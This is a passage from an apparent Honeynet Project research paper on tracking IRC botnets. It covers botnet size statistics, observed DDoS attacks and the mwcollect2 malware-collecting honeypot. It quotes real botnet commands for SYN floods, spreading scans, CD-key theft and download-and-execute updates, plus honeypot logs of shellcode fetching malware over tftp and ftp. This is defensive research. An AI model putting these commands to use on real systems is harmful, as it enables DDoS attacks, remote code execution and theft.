compromised systems was forwarded to DFN-CERT (Computer Emergency Response Team) based in
Hamburg, Germany. We would like to start with some statistics about the botnets we have observed in the
last few months:
Number of botnets
We were able to track little more than 100 botnets during the last four months. Some of them
"died" (e.g. main IRC server down or inexperienced attacker) and at the moment we are tracking
about 35 active botnets.
Number of hosts
During these few months, we saw 226,585 unique IP addresses joining at least one of the
channels we monitored. Seeing an IP means here that the IRCd was not modified to not send us
an JOIN message for each joining client. If an IRCd is modified not to show joining clients in a
channel, we don't see IPs here. Furthermore some IRCds obfuscate the joining clients IP address
and obfuscated IP addresses do not count as seen, too. This shows that the threat posed by
botnets is probably worse than originally believed. Even if we are very optimistic and estimate that
we track a significant percentage of all botnets and all of our tracked botnet IRC servers are not
modified to hide JOINs or obfuscate the joining clients IPs, this would mean that more then one
million hosts are compromised and can be controlled by malicious attackers. We know there are
more botnet clients since the attackers sometimes use modified IRC servers that do not give us
any information about joining users.
Typical size of Botnets
Some botnets consist of only a few hundred bots. In contrast to this, we have also monitored
several large botnets with up to 50.000 hosts. The actual size of such a large botnet is hard to
estimate. Often the attackers use heavily modified IRC servers and the bots are spread across
several IRC servers. We use link-checking between IRCds to detect connections between different
botnets that form one large botnet. Thus we are able to approximate the actual size. Keep in mind,
botnets with over several hundred thousands hosts have been reported in the past. If a botnet
consists of more than 5 linked IRC servers, we simply say it is large even if we are not able to
determine a numerical number as the IRCd software is stripped down. As a side note: We know
about a home computer which got infected by 16 (sic!) different bots, so its hard to make an
estimation about world bot population here.
Dimension of DDoS-attacks
We are able to make an educated guess about the current dimension of DDoS-attacks caused by
botnets. We can observe the commands issued by the controllers and thus see whenever the
botnet is used for such attacks. From the beginning of November 2004 until the end of January
2005, we were able to observe 226 DDoS-attacks against 99 unique targets. Often these attacks
targeted dial-up lines, but there are also attacks against bigger websites. In order to point out the
threat posed by such attacks, we present the collected data about DDoS-attacks on a separate
page. "Operation Cyberslam" documents one commercial DDoS run against competitors in online
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A typical DDoS-attacks looks like the following examples: The controller enters the channel and
issues the command (sometimes even stopping further spreading of the bots). After the bots have
done their job, they report their status:
<~nickname> .scanstop
<~nickname> .ddos.syn 151.49.8.XXX 21 200
<-[XP]-18330> [DDoS]: Flooding: (151.49.8.XXX:21) for 200 seconds
<~nickname> .login 12345
<~nickname> .ddos.syn 213.202.217.XXX 6667 200
<-[XP]-18230> [DDoS]: Flooding: (213.202.217.XXX:6667) for 200 seconds.
Both attacks show typical targets of DDoS-attacks: FTP server on port 21/TCP or IRC server on
port 6667/TCP.
Spreading of botnets
".advscan lsass 150 5 0 -r -s" and other commands are the most frequent observed
messages. Through this and similar commands, bots spread and search for vulnerable systems.
Commonly, Windows systems are exploited and thus we see most traffic on typical Windows ports
(e.g. for CIFS based file sharing). We have analyzed this in more detail and present these results
on a page dedicated to spreading of bots.
Harvesting of information
Sometimes we can also observe the harvesting of information from all compromised machines.
With the help of a command like ".getcdkeys" the operator of the botnet is able to request a list
of CD-keys (e.g. for Windows or games) from all bots. This CD-keys can be sold to crackers or the
attacker can use them for several other purposes since they are considered valuable information.
These operations are seldom, though.
"Updates" within botnets
We also observed updates of botnets quite frequently. Updating in this context means that the bots
are instructed to download a piece of software from the Internet and then execute it. Examples of
issued commands include:
.download http://spamateur.freeweb/ c:\windows\config\gamma.exe 1
.download c:\arsetup.exe 1 -s
!down C:\WINDOWS\system32\drivers\disdn
\anti.exe 1
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! dload C:\firewallx.exe 1
.http.update c:\msy32awds.exe 1
.http.update %temp%\vhurdx.exe -s
(Note:We sanitized the links so the code is not accidently downloaded/executed)
As you can see, the attackers use diverse webspace providers and often obfuscate the
downloaded binary. The parameter "1" in the command tells the bots to execute the binary once
they have downloaded it. This way, the bots can be dynamically updated and be further enhanced.
We also collect the malware that the bots download and further analyze it if possible. In total, we
have collected 329 binaries. 201 of these files are malware as an analysis with "Kaspersky AntiVirus On-Demand Scanner for Linux" shows:
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Most of the other binary files are either adware (a program that displays banners while being run,
or reports users habits or information to third parties), proxy servers (a computer process that
relays a protocol between client and server computer systems) or Browser Helper Objects.
An event that is not that unusual is that somebody steals a botnet from someone else. It can be somewhat
humorous to observe several competing attackers. As mentioned before, bots are often "secured" by
some sensitive information, e.g. channel name or server password. If one is able to obtain all this
information, he is able to update the bots within another botnet to another bot binary, thus stealing the
bots from another botnet. For example, some time ago we could monitor when the controller of Botnet #12
stole bots from the seemingly abandoned Botnet #25.
We recently had a very unusual update run on one of our monitored botnets: Everything went fine, the
botnet master authenticated successfully and issued the command to download and execute the new file.
Our client drone downloaded the file and it got analyzed, we set up a client with the special crafted
nickname, ident, and user info. But then our client could not connect to the IRC server to join the new
channel. The first character of the nickname was invalid to use on that IRCd software. This way, the
(somehow dumb) attacker just lost about 3,000 bots which hammer their server with connect tries forever.
Something which is interesting, but rarely seen, is botnet owners discussing issues in their bot channel.
We observed several of those talks and learned more about their social life this way. We once observed a
small shell hoster hosting a botnet on his own servers and DDoSing competitors. These people chose the
same nicknames commanding the botnet as giving support for their shell accounts in another IRC
network. Furthermore, some people who run botnets offer an excellent pool of information about
themselves as they do not use free and anonymous webhosters to run updates on their botnets. These
individuals demonstrate how even unskilled people can run and leverage a botnet.
Our observations showed that often botnets are run by young males with surprisingly limited programming
skills. The scene forums are crowded of posts like "How can i compile *" and similar questions. These
people often achieve a good spread of their bots, but their actions are more or less harmless.
Nevertheless, we also observed some more advanced attackers: these persons join the control channel
only seldom. They use only 1 character nicks, issue a command and leave afterwards. The updates of the
bots they run are very professional. Probably these people use the botnets for commercial usage and
"sell" the services. A low percentage use their botnets for financial gain. For example, by installing
Browser Helper Objects for companies tracking/fooling websurfers or clicking pop-ups. A very small
percentage of botnet runners seems highly skilled, they strip down their IRCd software to a non RFC
compliant daemon, not even allowing standard IRC clients to connect.
Another possibility is to install special software to steal information. We had one very interesting case in
which attackers stole Diablo 2 items from the compromised computers and sold them on eBay. Diablo 2 is
a online game in which you can improve your character by collecting powerful items. The more seldom an
item is, the higher is the price on eBay. A search on eBay for Diablo 2 shows that some of these items
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allow an attacker to make a nice profit. Some botnets are used to send spam: you can rent a botnet. The
operators give you a SOCKS v4 server list with the IP addresses of the hosts and the ports their proxy
runs on. There are documented cases where botnets were sold to spammers as spam relays:
"Uncovered: Trojans as Spam Robots ". You can see an example of an attacker installing software (in this
case rootkits) in a captured example.
Further Research
An area of research we are leading to improve botnet tracking is in malware collection. Under the project
name mwcollect2 the German Honeynet Project is developing a program to "collect" malware in an simple
and automated fashion. The mwcollect2 daemon consists of multiple dynamically linked modules:
Vulnerability modules: They open some common vulnerable ports (e.g. 135 or 2745) and
simulate the vulnerabilities according to these ports.
Shellcode parsing modules: These modules turn the shellcodes received by one of the
vulnerability modules in generic URLs to be fetched by another kind of module.
And finally, Fetch modules which simply download the files specified by an URL. These URLs do
not necessarily have to be HTTP or FTP URLs, but can also be TFTP or other protocols.
Currently mwcollect2 supports the simulation of different vulnerabilities. The following two examples show
the software in action. In the first example, mwcollect2 simulates a vulnerability on TCP port 135 and
catches a piece of malware in an automated fashion:
DCOM Shellcode starts at byte 0x0370 and is 0x01DC bytes long.
Detected generic XOR Decoder, key is 12h, code is e8h (e8h) bytes long.
Detected generic CreateProcess Shellcode: "tftp.exe -i XXX.XXX.XXX.XXX get
Pushed fetch request for "tftp://XXX.XXX.XXX.XXX/cdaccess6.exe".
Finished fetching cdaccess6.exe
And in the second example the software simulates a machine that can be exploited through the backdoor
left by the Bagle worm. Again, mwcollect2 is able to successfully fetch the malware.
Bagle connection from XXX.XXX.XXX.XXX:4802 (to :2745).
Bagle session with invalid auth string:
Successful bagle session, fetch "ftp://bla:[email protected]:4847/bot.exe".
Pushed fetch request for "ftp://bla:[email protected]:4847/bot.exe".
Downloading of ftp://bla:[email protected]:4847/bot.exe (ftp://bla:[email protected]
XXX.XXX:4847/bot.exe) successful.
The following listings shows the effectiveness of this approach:
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2005-02-19 16:01 CET
2005-02-19 16:05 CET
2005-02-19 16:10 CET
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2005-02-19 16:15 CET
2005-02-19 16:23 CET
2005-02-19 16:27 CET
2005-02-19 16:34 CET
2005-02-19 16:37 CET
2005-02-19 16:48 CET
2005-02-19 16:50 CET
2005-02-19 16:50 CET
2005-02-19 16:51 CET
2005-02-19 16:51 CET
2005-02-19 16:53 CET
2005-02-19 17:00 CET
2005-02-19 17:08 CET
2005-02-19 17:08 CET
2005-02-19 17:12 CET
2005-02-19 17:20 CET
2005-02-19 17:21 CET
2005-02-19 17:22 CET
2005-02-19 17:32 CET
2005-02-19 17:44 CET
2005-02-19 17:56 CET
With the help of just one sensor in a dial-in network we were able to fetch 324 binaries with a total of 24
unique ones within a period of two hours. The uniqueness of the malware was computed with the help of
md5sum, a tool to compute and check MD5 message digests.
The big advantage of using mwcollect2 to collect the bots is clearly stability: A bot trying to exploit a
honeypot running Windows 2000 with shellcode which contains an jmp ebx offset for Windows XP will
obviously crash the service. In most cases, the honeypot will be forced to reboot. In contrast to this,
mwcollect2 can be successfully exploited by all of those tools and hence catch a lot more binaries this
way. In addition, mwcollect2 is easier to deploy - just a single make command and the collecting can begin
(you however might want to change the configuration). Yet the downside of catching bots this way is that
binaries still have to be reviewed manually. A honeypot behind a Honeywall with snort_inline filtering out
the relevant IRC traffic could even set up the sniffing drone automatically after exploitation.
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In this paper we have attempted to demonstrate how honeynets can help us understand how botnets
work, the threat they pose, and how attackers control them. Our research shows that some attackers are
highly skilled and organized, potentially belonging to well organized crime structures. Leveraging the
power of several thousand bots, it is viable to take down almost any website or network instantly. Even in
unskilled hands, it should be obvious that botnets are a loaded and powerful weapon. Since botnets pose
such a powerful threat, we need a variety of mechanisms to counter it.
Decentralized providers like Akamai can offer some redundancy here, but very large botnets can also
pose a severe threat even against this redundancy. Taking down of Akamai would impact very large
organizations and companies, a presumably high value target for certain organizations or individuals. We
are currently not aware of any botnet usage to harm military or government institutions, but time will tell if
this persists.
In the future, we hope to develop more advanced honeypots that help us to gather information about
threats such as botnets. Examples include Client honeypots that actively participate in networks (e.g. by
crawling the web, idling in IRC channels, or using P2P-networks) or modify honeypots so that they capture
malware and send it to anti-virus vendors for further analysis. Since our current approach focuses on bots
that use IRC for C&C, we focused in the paper on IRC-based bots. We have also observed other bots, but
these are rare and currently under development. In a few months/years more and more bots will use nonIRC C&C, potentially decentralized p2p-communication. So more research in this area is needed,
attackers don't sleep. As these threats continue to adapt and change, so to must the security community.
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